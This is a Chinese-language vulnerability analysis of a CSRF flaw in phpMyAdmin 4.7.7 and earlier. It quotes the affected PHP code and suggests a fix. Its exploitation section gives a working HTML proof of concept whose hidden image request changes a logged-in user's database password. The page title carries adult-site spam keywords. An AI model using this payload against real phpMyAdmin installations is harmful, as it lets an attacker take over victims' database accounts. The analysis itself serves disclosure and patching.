压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

推特熱點 | phpMyAdmin <= 4.7.7 CSRF分析

0x00 漏洞簡述

漏洞信息

本周在Twitter上有一個較為熱點的討論話題,是有關phpMyAdmin <=4.7.7版本的一個CSRF漏洞,漏洞存在于common.inc.php中,而筆者分析完后,發現這個更像是漏洞作者撿漏的一個漏洞。

漏洞影響版本

phpMyAdmin <= 4.7.7

0x01 漏洞復現

本文用phpMyAdmin 4.7.6進行分析。

0x02 漏洞分析

直接看漏洞本質,主要在于兩個點:

首先是位于libraries/common.inc.php中第375行到389行這一段代碼:

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (PMA_isValid($_POST['token'])) {
        $token_provided = true;
        $token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']);
    }

    if ($token_mismatch) {
        /**
         * We don't allow any POST operation parameters if the token is mismatched
         * or is not provided
         */
        $whitelist = array('ajax_request');
        PMA\libraries\Sanitize::removeRequestVars($whitelist);
    }
}

有個關鍵點:如果發送的請求是GET請求,就可以繞過對于參數的檢測。

其次,第二個漏洞觸發的關鍵點在sql.php第72行到76行:

if (isset($_POST['bkm_fields']['bkm_sql_query'])) {
    $sql_query = $_POST['bkm_fields']['bkm_sql_query'];
} elseif (isset($_GET['sql_query'])) {
    $sql_query = $_GET['sql_query'];
}

可以看到這邊可以直接接受外部GET請求的參數,在190行到199行處直接執行:

if ($goto == 'sql.php') {
    $is_gotofile = false;
    $goto = 'sql.php' . URL::getCommon(
        array(
            'db' => $db,
            'table' => $table,
            'sql_query' => $sql_query
        )
    );
} 

0x03 漏洞利用

如上所說,我們只需要構造一個頁面該頁面在用戶點擊的時候自動發一個GET請求就ok了。

我在漏洞利用這邊舉一個利用csrf修改當前用戶密碼的例子。

構造一個HTML:

<html>
    <head>
        <title>poc</title>
    </head>

    <body>
        <p>POC TEST</p>
        <img src="http://localhost:8888/sql.php?db=mysql&table=user&sql_query=SET password = PASSWORD('vul_test')" style="display:none"/>

    </body>
</html>

之后誘導已經登錄phpMyAdmin的用戶訪問,當前用戶的密碼就已經改為vul_test了。

0x04 修復方法

最簡單的修補方式就是將sql.php中:

if (isset($_POST['bkm_fields']['bkm_sql_query'])) {
    $sql_query = $_POST['bkm_fields']['bkm_sql_query'];
} elseif (isset($_GET['sql_query'])) {
    $sql_query = $_GET['sql_query'];
}

改成:

if (isset($_POST['bkm_fields']['bkm_sql_query'])) {
    $sql_query = $_POST['bkm_fields']['bkm_sql_query'];
} elseif (isset($_POST['sql_query'])) {
    $sql_query = $_POST['sql_query'];
}

同樣,直接更新到最新版是更好的方法。

原文鏈接:https://www.anquanke.com/post/id/158525

上一篇:中考保衛戰,使命必達。這,就是銳捷!

下一篇:合成的現實:輕松一點突破macOS防護